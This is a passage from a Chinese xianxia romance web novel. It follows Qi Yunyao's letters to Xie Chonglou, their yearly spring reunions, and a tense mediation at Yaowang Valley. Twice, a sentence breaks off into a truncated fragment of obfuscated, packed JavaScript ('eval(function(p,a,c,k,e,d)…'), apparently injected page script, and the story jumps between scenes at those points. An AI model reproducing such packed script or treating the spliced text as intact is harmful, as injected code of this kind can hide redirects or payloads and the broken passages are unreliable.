祁云耀不肯相信,又特意多买了三只偃甲鸟,四只鸟轮换着送信,依旧日复一日,执着地往剑庄寄去自己的心意。 他原先算不上讨厌春天,可春天总爱下雨。 一入春,地下深处的水汽像是挣脱了束缚,争先恐后地冒出来,地面盛不下便往天上飘,天上挤不下,就淅淅沥沥地落向人间。 他不喜雨天,只因雨天里,偃甲鸟无法飞行。而西门的春天,又总被这稀稀拉拉的雨笼罩着——天冷时下雨,天热时也下雨。雨水浸润了整个世界,连他要寄给谢重楼的信纸,也被潮气打湿,边缘生出奇形怪状的霉点。祁云耀曾试着把积压的信存进灶房,灶房终年燃着火,水汽虽散,可一叠信纸却被厨子们身上的烟火气染透,沾了各式各样的食物香气。 本想重新誊抄一遍,可鬼使神差地,他还是把这浸透了烟火香的信纸寄了出去。他偷偷期盼着,若谢重楼能想起西门的美食,或许会给他回一封怀念的信,可最终,偃甲鸟回来时鸟肚还是空空的。 日子一天天流转,四季更迭。 春天,他给谢重楼写西门的雨,写墙角偷偷冒出来的小蘑菇,还寄去一支开得正艳的桃枝。 夏天,他写西门的太阳,写院外池塘里亭亭玉立的荷花,寄去一张自家大厨的冰碗秘方,盼着能解他一夏燥热。 秋天,他写西门清爽的风,写庄园里挂满枝头的果实,寄去一柄自己亲手刻的、巴掌大的木制断不义。 冬日的西门,谢重楼是见过的。所以他写今日路面结冰,自己在演武场滑了一跤,疼得他一天没下床;写马厩里的马儿们都认白白做了老大,白白仗势欺马,被饲马老伯教训了一顿。 他曾想寄两个小雪人过去,却又怕雪人在途中化掉,最终什么也没寄,只把两个小雪人摆在自己的窗沿上——一个代表谢重楼,一个代表他自己,日夜相对。 冬天一过,春风又至。 他看着春风吹散了窗沿上的两个小雪人,心里刚泛起几分感伤,却没料到,这阵春风,竟也把他心尖上的那个人,吹回了西门。 27. 四年 其实也很好理解——春天送走的人,总会在春天再回来。 祁云耀忽然觉得,自己好像又重新喜欢上春天了。 谢重楼真的按照约定回到了西门。 只是这一次,他孤身一人,头上带着纱笠,身边没了那匹灰马,也没了絮叨的谢长泽。 祁云耀拉着他去看白白,两人肩并肩走着,谁都没有先开口。 白白像是一眼就认出了他,打了个响鼻,用大脑袋轻轻蹭着谢重楼。 谢重楼微微躲开,脸上难得露出一点浅淡的笑意。 祁云耀在一旁看着,心里莫名吃味,语气迟疑地开口: “我……” 谢重楼转头看他。 祁云耀纠结了半天,还是问了出来: “我给你写的信,你都收到了吗?” 谢重楼轻轻把白白的脑袋推远一寸,脸上的笑意慢慢收了回去,又变回了最初那个沉默寡言的样子。 他像是认真想了想,才低声说: “不确定,但我收到了很多。” “那你看了吗?”祁云耀追着问。 谢重楼点点头:“看了。” “是全部看了,还是只看了一点?” “全部看了。” “那你要记得给我回信啊!” 祁云耀蛮横地抱住他的手臂——这是他们分别一年来的第一次触碰。 他眼巴巴望着谢重楼,眨眼的速度都快了几分,满心都是期待。 可谢重楼又像偃甲机关卡壳了一样,低着头,一声不吭。 “你是不想回吗?” 不说话。 “你是忘记回了吗?” 谢重楼依旧沉默。 两人就这么僵着。 最后还是祁云耀先松了口气,先退了一步: “那你记得,以后要是想回我了,就给我回信。我还会一直给你写的。” 这一回,谢重楼低低地“嗯”了一声。 声音轻得几乎听不见,轻到祁云耀都怀疑,自己是不是听错了。 两人依旧住一间屋子。只是这一回,祁云耀长高了不少,再也不用盖那床从小用到大的短被子,此刻,两人正同盖一床被褥,挨得极近。 除了第一天还有些疏离,往后六天,他们便彻底变回了从前的模样——一起吃饭,一起睡觉,一起在晨光里练剑,练完便拉着手四处游玩。 这几日里,祁余天依旧来找谢重楼比试,每次都切磋得难分难解;祁灵昭总爱偷偷瞟谢重楼,看几眼就捂着嘴偷笑;祁云耀也重拾了往日的性子,时不时耍耍小脾气,闹得鸡飞狗跳,却也让这短暂的相处,满是欢声笑语。 欢乐的日子过得飞快,转眼就到了第七夜。 黑暗里,谢重楼忽然开口,声音轻轻的:“我明天就回去了。” 祁云耀猛地睁开眼,语气里满是诧异:“为什么回去这么早?” 谢重楼没有回答。 祁云耀又追问,声音里多了几分委屈:“你是不想和我在一起吗?” 谢重楼沉默了片刻,才缓缓开口:“师傅还在闭关,师兄处理剑庄事务很忙,我要回去帮他。” 祁云耀瘪了瘪嘴,语气带着执拗:“我问了你两个问题,你为什么只回答第一个?” 谢重楼又陷入了沉思。 透过窗棂洒进来的月色,祁云耀能清晰看见,他的眼睛转了又转,像是在琢磨着什么,生怕说错什么。 他生怕谢重楼把自己想晕,正要开口打断,却听见谢重楼低声道:“师兄不允许……” “什么?” 祁云耀没听清,又问了一遍。 谢重楼便又重复了一遍,语气认真:“师兄不允许,说不好。” 闻言,祁云耀瞬间没了声音,只是呆呆地盯着天花板,眼睛睁了一夜,脑海里反复回响着那句话,翻来覆去,再无睡意。 翌日清晨,谢重楼便踏上了回青云剑庄的旅程。满打满算,他在西门,只待了七天。 祁云耀一路把他送到西门城郊,临分别时,还是忍不住追问,语气里藏着期盼与忐忑:“你明年还会来吗?” 谢重楼掀开纱笠一角,目光落在他身上,语气十分肯定:“会来的。” “也是春天吗?” 谢重楼轻轻点头:“对。” “那我喜欢春天。”祁云耀勉强扯出一个笑,用力挥了挥手,送他离去。 谢重楼转身走出十几米,蓦然停下脚步,转头望了他一眼,嘴唇动了动,像是说了什么,又像是什么都没说。待走出西门设立的阵法后,他踏剑而行,身影很快便消失在天际。 祁云耀回去的路上,一直心神不宁。 他没听清,谢重楼最后回头时,到底说了什么。 是“我也喜欢”,还是“我知道”?他分辨不清,甚至不确定,谢重楼是不是只是单纯回头看了他一眼。 可奇怪的是,尽管这样,什么都没听清,心情,却莫名好了起来。不论谢重楼说的是哪一句,哪怕什么都没说,他的心底,就满是欢喜。 第二年,祁云耀来得格外早。 几乎是冰雪刚有消融的迹象,他就日日守在城门口,一等便是一整天,眼底满是藏不住的期盼。 城门口的护卫们看惯了他这副模样,忍不住打趣他,说干脆把护卫服脱给他,让他也当回“守门人”,换来祁云耀一个毫不客气的白眼。 终于,在他守了第十四天的时候,那个熟悉的、戴着纱笠、衣袂飘飘的身影,缓缓出现在了路的尽头。 谢重楼风尘仆仆地赶到,刚踏入城门,就立刻被西门热闹的市井气息吸引。目光无意间扫过街角,一家新开的甜水铺赫然入目,他脚步不受控制地转了方向,手腕却冷不丁被人攥住。 谢重楼心头一惊,下意识便想抬手拔剑,指尖刚触到剑柄,抬眼就撞进一双满是怨怼的眼睛里。 祁云耀:盯—— 谢重楼:“……” 祁云耀没好气地松了手,谢重楼连忙将手抽回去,有些心虚地别过脸,不敢去看他的眼睛。 “你没看见我吗?” 祁云耀语气委屈。 谢重楼抿了抿唇,心里十分纠结。 眼神偷偷瞟了祁云耀一眼,就对上那张怒气冲冲的脸,像被烫到似的,哗啦一下移开视线。他张了张嘴,想说什么辩解,最终却还是闭上,只轻轻“嗯”了一声。 “我就在城楼上,你没看见吗?”祁云耀往前凑了一步,气势汹汹,咄咄逼人,半点不肯退让。 谢重楼浑身一僵,似乎又变回了最初刚到西门时的模样——不习惯和人靠得这么近,下意识便轻轻往后退了一小步。可脚步刚落,祁云耀就又贴了上来,两人之间的距离,刷的拉进。 他的眼神飘忽不定,一会儿移向远处的街角,一会儿又不受控制地滑回来,撞进祁云耀那双眼睛里,像是被扎了一下,连忙又移开,可没过片刻,又忍不住悄悄瞟回来。这般往复了几息,谢重楼终究败下阵来,语气里满是愧疚:“对不起,我没看见你。下次,我一定会先看见你的。” 祁云耀闻言,却只是冷哼一声,语气傲娇:“那下次你要是还没看见我,怎么办?” 谢重楼又沉默了,垂着眸思索了几秒,抬头看向他,认真地问:“你想我怎么办?” “你多陪我玩几天!”他想也不想,脱口而出。 “呜……”谢重楼迟疑了,眼神又开始飘忽不定,面露难色。 祁云耀一看他这模样,心里就明白了大半,嘴一瘪,故作赌气地说:“好吧好吧!我知道你要去帮你师兄!我就是要排在谢长泽后面是吧!哼!” “不是的!” 这一回,谢重楼却答得极快,语气里带着几分急切的否认,可除了这三个字,他又不知道该说些什么。 祁云耀心里却格外受用,他故意板起脸,故作不快地拽了拽他的衣袖:“那你快陪我去买衣服!要是我穿得显眼些,下次你一进城,就能一眼看见我了!” 说罢,他拉着谢重楼就往衣庄的方向走,可拽了两下,却没拽动人。 回头一看,只见谢重楼的目光死死盯着那家甜水铺,眼底满是直白的渴望,看看甜水铺,又看看他,心思简直昭然若揭。 “真是受不了你!” 祁云耀故作无奈,脚步一转,反而拽着谢重楼往甜水铺走去。 两人找了个小角落坐下,吃完甜水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路过街角那家熟悉的甜水铺时,祁云耀下意识偏头看了看身边人,几乎是下一刻,便拽着他的手腕走了进去,点了今年的新品甜水。 祁云耀托着腮坐在他对面,目光落在谢重楼脸上,看着他小口品尝、眉眼舒展的模样,自己的心里也跟着欢喜起来,嘴角不自觉地往上扬。 “你这么喜欢,不如去向老板要个方子,带回剑庄去,以后你想吃的时候,就能随时做来吃了。”祁云耀笑着说道。 谢重楼咀嚼的动作猛地一顿,手里的汤匙轻轻磕在碗沿。他抬眼看向祁云耀,眼底满是真诚,语气认真又轻柔:“但我想和你一起吃。” 听到这句话,祁云耀的脸颊瞬间染上一层淡红,心跳莫名快了几分。 飞快地扫了谢重楼一眼,像是在确认这句话的真假,撞进那双澄澈又真挚的视线时,又有些不好意思地移开目光,耳尖通红。 连忙岔开话题,语气带着几分不自然的试探:“我给你写的信,你都看了吗?” “看了。”谢重楼点点头腮帮子鼓得一股一股的。 祁云耀的心跳又快了些,追问着:“那你看见我给你写的小诗了吗?” “嗯嗯。” “你真的看得懂吗?” “看不懂。”谢重楼坦然坦白,眼底没有丝毫掩饰,“但我会去问别人是什么意思。” “你不许问!” 祁云耀瞬间急了,猛地站起身,手掌重重拍在桌面上,发出“砰”的一声震响,引得周围食客纷纷侧目。 他顿时有些窘迫,讪讪地坐回座位,脸颊红得快要滴血,压低声音急声道:“那是专门写给你看的!你不能给别人看,也不许问别人!” “可我看不懂。”谢重楼微微歪了歪头,想起当时看信的场景,认真解释道,“没有别人告诉我的话,我不知道你在说什么。你一会写风,写比翼鸟,还有什么牛郎织女,我都看不懂,只能去问别人。不然我会以为你想要这些东西。” “我……” 祁云耀瞪圆了眼睛,又气又羞,胸口微微起伏,猛地吐出几口气,才哑着嗓子,语气软了下来,“你看不懂的话,就问我啊!我慢慢解释给你听不就好啦?” “好。”谢重楼咬着勺子,眼底掠过笑意。 28. 收尾 谢重楼第四年来西门的时候,祁云耀正好突破三阶修为。他们刚准备出门庆祝,谢重楼手腕间的银色手链忽然泛起光芒。 两人脚步一顿。 祁云耀早在谢重楼来时就注意到了这手链,问起时,谢重楼说是天机阁的新发明,半仙可借它传音。 他眼睛一亮,原本也想买,却被谢重楼制止,因为这手链需半仙灵力驱动。 如今天地灵气稀薄,唯有半仙能吸收炼化,凡人再无这般机缘,自然用不了传音术。 天机阁不知从哪寻到了位仙缘同传音有关的半仙,钻研出这手链又卖给半仙,听说总部都舍得翻新了一遍,可想而知究竟借此敛了多少财。 谢重楼轻触手链注入灵力,谢长泽的声音清晰传了进来。 祁云耀最近不大喜欢谢长泽,这人表面一套背后一套——面上劝他和谢重楼好好相处,背地里却叮嘱谢重楼不许常来找他! 他先前还当谢长泽是清风霁月的好人,没想到这般虚伪。 “哼!” 祁云耀不屑地冷嗤,眼底满是鄙夷。 他听不见实质的传音内容,只听见谢重楼的应答。片刻后,谢重楼放下手腕,手链光芒渐暗,脸上却露出几分难掩的为难。 祁云耀挑眉,直白问道:“他跟你说什么了?” 谢重楼眼神闪烁,显然在思索该如何开口。 见他吞吞吐吐,祁云耀挑眉更甚,抱臂走到他身前站定——如今两人已差不多高,祁云耀因编了头发,发顶蓬松,看上去比谢重楼还略高一点。 他贴得极近,两人几乎黏在一起,空气中的氛围渐渐紧绷起来。 谢重楼被他看得心慌,额角渗出薄汗,连忙低下头避开他的目光,低声辩解:“有一件事……” “所以你要提前走,是吗?”祁云耀没等他说完,便直截了当地点破。 “嗯。”谢重楼下意识点头,起初没察觉他语气不对,直到猛地抬头对上他怨怼的眼睛,又慌忙低下头装鹌鹑。 “你不是说,你师兄不比我重要吗”祁云耀声音陡然拔高,质问道,“你现在又是做什么?哦,他一个传音你就要走!我们本来就一年见一次,你还要因为他提前走!那你走了还回来吗?就算你回来,那浪费的这几天算什么!哼!说白了就是骗我的吧!说什么‘不是的’,实际上也是嘴上一套心里一套。说白了就是不喜欢我吧!你不喜欢我的话那来找我干什么!” 说完,祁云耀满心愤怒,猛地转过身就要往回走。 谢重楼被他问得发懵,一时没反应过来,等回过神想拉他时,这人又自己停下了,猛地转头,脸上怨气几乎凝为实质,控诉道: “你为什么不拉我!” “啊?” 谢重楼瞪大了眼睛,脸上难得露出十分复杂的表情,显然不知该从哪里回答起。刚才的问题太多,此刻又抛出一个,他一时之间根本不知道回答哪一个。 “啊什么啊?”祁云耀自己又转了回来,语气愤怒,“你为什么不拉我?” “我,我。”谢重楼闻言,连忙伸手抓住他的手,语气无措,“我没反应过来。你刚才问得太多了,我还没想好怎么回答你。” “哼!” 祁云耀又是一声冷哼,嘴角却悄悄弯了点弧度,手上甩开,任由他紧紧拉着,“然后呢?你想怎么回答?要是回答得不好,我就真的走了!” “那你要等我想一想。”谢重楼急了,连忙伸出另一只手,两只手都紧紧抓着他的手,眼神焦急,生怕他一个反悔就真的转身离开。 沉默了几息,他像是想到了什么好法子,眼神亮了亮,试探着松开一只手,语气带着商量:“你先别走。”说着,他快步走到角落,再次抬手打开传讯手链,低声同那边的人说着什么,语气诚恳,像是在做什么保证,翻来覆去重复着几句话,直到对面松了口,他才松了口气,连忙转过身走向祁云耀。 他重新拉住祁云耀的手,语气轻快了些:“我和师兄商量好了,你可以和我一起去。但是你要装作剑庄的人,这样可以吗?” 祁云耀眉毛挑了挑,眼底闪过一丝意外,显然没料到他会想出这样的办法,语气里带着几分小得意:“你怎么想到带我一起去的?万一我不想跟你去呢?” “因为我也不想和你分开。” 谢重楼看着他,语气珍而重之,旋即又带上迟疑,小声问他,“你真的不想和我去吗?那我——” “我答应你!” 祁云耀听到第一句话时盯着他看了两秒,然后耳尖悄悄红了,等他听见后面的话立刻垮了脸,连忙出声打断,不过心情明显好了不少,伸手拽着人就往门外走, “那我们快走吧!你要去干什么,都还没跟我说呢!” 谢重楼愣了一下,又反复观察了几遍他的表情,确认他是真的不生气了,才彻底放下心来,一边跟着他走,一边慢慢说起此次出行的目的地。 此行目的地,是离西门不远的药王谷。 此事并无凶险,只是需青云剑庄派人到场坐镇,谢长泽便将差事交给了谢重楼。 缘由说来简单。 自上回角蛇祸事爆发,天盟便联合青云剑庄启动了全大陆排查。四年间,共寻出十四处角蛇幻境。就在前不久,药王谷内又探出一处疑似幻境之地。不等天盟人马赶到,药王谷谷主灵枢竟已自行出手解决。 这般举动,当即惹得天盟上下不满。 两百年前盟约分明写着,有关妖物灵族之事,地宗不得再插手。即便灵枢是那时候就在场的知情人,此举也是无异于公然破约。 但灵枢则表示: “等你们这群吃白饭的蠢货赶来,我药王谷早成蛇潮炼狱了!” 双方就此争执不休,闹得不可开交。天盟里几位倚老卖老的长老,偏偏又辩不过灵枢。 放眼整个天盟,唯有风幕卿能与他吵得有来有回,不过巧就巧在玉虚仙宗并没有参加此次排查,是以天盟派人去玉虚仙宗求助的时候,风幕卿并没有答应前来。 无奈之下,天盟只得找上青云剑庄,希望剑庄出面调和,以中间立场介入,由剑庄、天盟、地宗三方一同收尾。 只是天盟与地宗都不知,如今剑庄内务,实则由谢长泽代理。他分身乏术,只得传音托付谢重楼,代为处理此事。 所以谢重楼要做的,其实再简单不过——往那儿一站,充当公道。 天盟地宗爱怎么吵便怎么吵,只要他在那,这件事就是公平的。 也正因如此,谢长泽才松口,允许祁云耀扮作剑庄弟子一同前往。到时候只说是谢重楼的随行之人便好。 祁云耀换上剑庄的衣物,一时有些不适应这身灰白素色道袍,举止间有些手足无措。 谢重楼蹲在一旁,一眨不眨地盯着他。 “很奇怪吗?”祁云耀问。 “嗯……”谢重楼顿了顿,抬手上下比划了一番,最后认真道,“你要不把脸遮一遮?” “有这么奇怪?” “是太显眼了。” 说着,谢重楼便将自己的纱笠戴在了他头上,往后退了几步打量片刻,满意点头:“这样好多了。” 两人这才继续赶路。 他们清晨出发,御剑飞行两个多时辰抵达药王谷边界,又翻山越岭,连过四座大山,才终于到了谷口。 此时已是烈阳高照,虽是初春不算酷热,两人也仍是出了一身薄汗。 谷口早有两名身着青白衣衫的童子等候。祁云耀第一眼看见他们,便莫名一阵恶寒。 两个小童生得雪白可爱,模样几乎一模一样,只一个梳单髻,一个梳双髻。笑起来时,嘴角扬起的弧度、眼睛眯起的角度都分毫不差。 两人脚步一顿,便听两道完全相同的声音同时响起: “主人等候多时啦,快快请进吧!” 连音调都一模一样。 祁云耀猛地攥紧了谢重楼的手。隔着纱笠,谢重楼看不清他的神情,却也猜到他几分不安,当即反手轻轻回握。 他们跟着童子入谷。 谷中建筑多依山而建,中间架起一座座廊桥供人通行。往来之人皆着青白衣衫,行色匆匆,见到那两名童子时,脸色不约而同地一变,似是畏惧,又似是厌恶。童子却浑然不觉,依旧领着他们前行。 走了数百米,周遭树荫豁然开朗,眼前赫然出现东西两座小峰。 峰顶各有屋舍,西峰那一片规模更大,屋舍连绵,一直延伸到后山山脉;东峰则只有小小一间,堪堪一个院落大小。 童子停下脚步,一同回头看向二人,同声问道: “两位是想拜见主人,还是先歇息?” 祁云耀没有开口,谢重楼平静道:“先带我们去见灵枢谷主。” “先找灵枢大人!” 两名童子像是骤然接到指令,齐齐转身,领着他们往东峰而去。 快到屋舍时,两个小童却脚步齐齐一顿,脖子一缩,再也不肯往前,定定地站在原地。 祁云耀和谢重楼正觉好奇,就见两个小童像机械般,学着他们的样子紧紧攥住彼此的手,又一同回头,脸上瞬间堆起哭脸: “好害怕!就在前面!好害怕!客人自己去吧!” 话音刚落,便手拉着手,脚步相同地往山下狂奔而去。 祁云耀:? 谢重楼:? 两人对视一眼,一时也拿不准该不该继续往前。就在这时,前方屋舍里突然传来“砰——”的一声闷响,分明是重物砸落的声音。 他们抬眼望去,下一秒,一道尖锐的男声便猛地爆发出来:“那你还回来干什么!滚啊!不是喜欢跑吗!那就一辈子都别回来!滚出去!滚!” 隐约还有另一道声音传来,弱得几乎听不清,祁云耀只能辨出似乎有人在说话,身旁的谢重楼脸色却骤然一变,神色凝重起来。 “我让你滚你就滚!我让你去死你为什么还活着!滚啊!滚出去!我不需要你!滚!” 最后一声嘶吼几乎破了音,祁云耀心里犯怵,他们杵在这里偷听别人吵架,总归是不太妥当。他刚伸手想去拉谢重楼,想说“我们还是先回去吧”,面前屋舍的门便“砰”地一声被狠狠撞开。 一个熟悉的黑袍少年被猛地推了出来,他显然不愿走,一边挣扎一边低声辩解着什么,可推他的青衣男人却半点也听不进去,执拗地把他往门外赶。 怪异的是,那黑袍少年竟纹丝不动,反倒推他的青衣男人脚下一个不稳,重重摔在地上。黑袍少年连忙弯腰想去扶他,却被青衣男人猛地甩了一巴掌。 “啪——”的清脆声,在寂静的林间格外清晰。 青衣男人抬头要再纠缠,抬头瞬间却冷不丁看见了立在不远处的二人。 六目相对间,那个黑袍少年也转过了头。 只见花秽芳脸上红肿一个巴掌印。 但这不是最让人震惊的,最让人震惊的是那青衣男人的长相,赫然就是原先那两个小童长大后的模样! “这——”祁云耀刚想开口说些什么,话才吐出一个字,就见那青衣人猛地站起身,快步退进屋舍,紧接着“砰”的一声,狠狠关上了房门,徒留屋外三人大眼瞪小眼。 花秽芳看看身后紧闭的房门,又转头望向对面呆若木鸡的祁云耀和谢重楼,犹豫片刻,试探着伸手推了推门,门纹丝不动。他又将耳朵贴在门板上,似是听见了里面的动静,随即抬手轻轻拍着门板,故意捏着嗓子柔声道:“灵枢——灵枢——你在干什么呀?你听我解释嘛!灵枢!” “滚!” 房门内瞬间传来一声暴怒的呵斥。 他撇了撇嘴,抬起的手顿了顿,终究没再落下,反倒弯腰准备趴在地上,想透过门缝看看里面的人究竟在做什么。可他的膝盖刚触碰到地面,门板就被里面的东西狠狠砸了一下,“咚”的一声闷响,吓得他连忙后退几步,终于放弃了偷看的念头。 花秽芳踌躇片刻,对着房门大喊一声“我还会再来找你的”,便垂着脑袋,一步一挪、磨磨蹭蹭地往山下走去。 身后的祁云耀早已被这一连串的变故惊得僵在原地。他对花秽芳的印象,还停留在先前那种诡谲的模样,如今亲眼见他被人这般对待,一时有种五雷轰顶的感觉。 花秽芳路过二人身边时,特意停下了脚步,脸上又恢复了往日那种似笑非笑的诡异神情。他目光落在祁云耀的纱笠上,打量了半天,最终轻飘飘又不明所以丢下一句: “你的脑袋好像更亮了。” 闻言,祁云耀猛地一哆嗦,浑身一僵,显然没料到自己戴着纱笠,还会被他认出来。身旁的谢重楼则不动声色地松开了与他交握的手,指尖轻轻搭在佩剑剑柄上,神色警惕,暗中做好了应对的准备。 可花秽芳压根没打算多搭理他们二人,瞥了一眼便收回目光,拖着慢悠悠的步子,沿着山路缓缓下了山。 两人站在原地,满心莫名,一时竟不知何去何从。祁云耀再次伸手,想抓住谢重楼的手,开口说“我们要不先下山”,面前那扇才关上没多久的房门,却突然“吱呀”一声被打开了。 先前还癫狂暴怒的灵枢,已然换了一身衣裳,方才披散的头发也打理得整整齐齐。他面容精致,乍一看竟带着几分女相,可脸上却半分温柔也无,反倒萦绕着一股挥之不去的戾气。 他缓步朝二人走来,并未自报家门,语气里满是高傲:“你们是剑庄来的?” 谢重楼微微点头,身旁的祁云耀也跟着轻轻点了点头,没敢多言。 “怎么不是谢青过来?”灵枢淡淡丢下一句,不再理会二人,径直转身往山下走去。 见状,祁云耀和谢重楼连忙快步跟上。 “师傅有事缠身,所以让我过来处理。”谢重楼开口解释。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你!”那长老气得浑身发抖,眼珠一转,忽然瞥见了不远处的谢重楼和祁云耀,顿时目光一亮,话头当即转向了正百无聊赖坐着、已然有些发呆的谢重楼,语气迫切道, “谢小友以为呢?药王谷乃地宗一员,却插手妖物之事,这是公然违抗盟约!此乃叛乱之兆,若不严惩,日后地宗各派皆可效仿!” 谢重楼缓缓抬眼,目光转向那位长老,眼神呆滞。 祁云耀心头一紧,连忙在桌下悄悄抓住他的手,想示意他谨言慎行,别乱说话。可没等他示意到位,就听谢重楼已经清晰地应了一声: “嗯”。 祁云耀:!!! 他急得想开口解释几句,却听主位上的灵枢嗤笑一声,抬眼看向谢重楼,反问他:“那谢小友是否认为,是对面这群人倚老卖老,硬要给我扣上个叛乱的帽子呢?” 不等祁云耀再次伸手拉他,谢重楼又面无表情地应了一声 “嗯”。 议事厅内瞬间陷入一片死寂。那位长老愣了愣,又急忙开口辩解,追问谢重楼的看法,谢重楼依旧是一声“嗯”;灵枢讥笑反驳那位长老,再转头问谢重楼,他还是那句淡淡的“嗯”。 总之,不管谁说话、问什么,谢重楼都只以一个“嗯”字回应,将谢长泽先前叮嘱的——当一个“天平”,演绎得淋漓尽致。 两方又争执了数息,最终以那位长老一口气没提上来,当场气晕过去收场。 灵枢扬声唤来门外弟子,将人拖下去医治。天盟那边痛失最强嘴仗战力,顿时噤若寒蝉,半个字都不敢再多说。 灵枢嗤笑一声:“亏得是在药王谷,不然就你们这老蚌装珠的做派,指不定哪天就出去组团装死讹人,真是越老越没体面。” 这话落下,天盟众人竟无一人敢再与他对峙,一个个忍气吞声。 “可以说正事了吗?” 谢重楼忽然开口,打破了场上死寂。 天盟长老们露出如蒙大赦的神情,灵枢则懒懒翻了个眼皮,轻嗤一声。 “师傅已知晓此事,她认为谷主是为保护药王谷才提前出手清缴幻境,事出有因,并未造成损失,此事可以暂缓。只需天盟再做一次收尾查验,确保幻境无遗漏即可。” 谢重楼将谢长泽教他说的话一字不漏的说了出来,隐瞒谢青闭关之事同时调和双方龃龉。 末了他顿了顿,继续道:“师傅派我来,是为宣布另一件事——她怀疑,那只大蛇并未真正死亡,而是……” “可当年谢青一剑斩蛇,是所有人亲眼所见。”灵枢直接打断,“莫非谢青也老糊涂了,记不清是自己亲手斩的蛇妖?” 天盟众人也面露动容,竟是难得与灵枢站在一边。 谢重楼被一噎,后半句话卡在喉间。祁云耀在旁也暗自疑惑,为何天盟与灵枢都一口咬定角蛇已死。 “师傅的意思是,怀疑还有另一只角蛇。”谢重楼最终还是把话说了出来。 话音刚落,灵枢便笑出了声,直言道:“这不是谢青说的吧?是你自己猜的?” 谢重楼被戳破,一时怔住。 天盟众人也没有替他辩解的意思,反倒有位稍和气的长老开口解释:“谢小友有所不知,当年血月之战,我们专门统计过,妖物灵族复苏的力量,与半仙们几乎是同步对应的。以如今半仙的力量,绝不可能再存在一只威力那般巨大的妖物,这违背天道法则。” 谢重楼闻言点了点头,不再多言。 天盟那边也听从谢青的安排,不再追责,只要求灵枢不许再擅自行动。 灵枢自然不肯答应,两方人又吵了起来。 这一回,谢重楼与祁云耀直接抽身离开了议事厅。 送他们出去的依旧是那两个小童,只是不知何时换了发型——一个扎三髻,一个扎四髻。祁云耀跟在身后,莫名又一阵不舒服。 两个小童浑然不觉,只领着他们往谷口走。 快到谷口时,他隐约看见三道身影站在那里,似乎在争执。 走近一看,祁云耀后背汗毛瞬间竖起。 那竟然又是三个一模一样的孩子。 算上眼前这两个,一共五个长相完全一样的小童。 唯一区别,只在头上发髻数量:从一到五,各不相同。 显然,带他们进来的,和送他们出去的,根本不是同一对。 将人送至谷口后,三髻小童和四髻小童便融入进那三个人。五个人围在一起,偷偷说着什么。 临走之际,祁云耀又回头望了一眼。 五个小童凑在一起,最开始领路的那两个正绘声绘色地说着什么,说到最后,竟齐齐哇哇大哭起来。 他们哭时嘴巴张得极大,露出里面一口熟悉的尖锐细密的牙。 看得他后背发麻,连忙将头转了回去。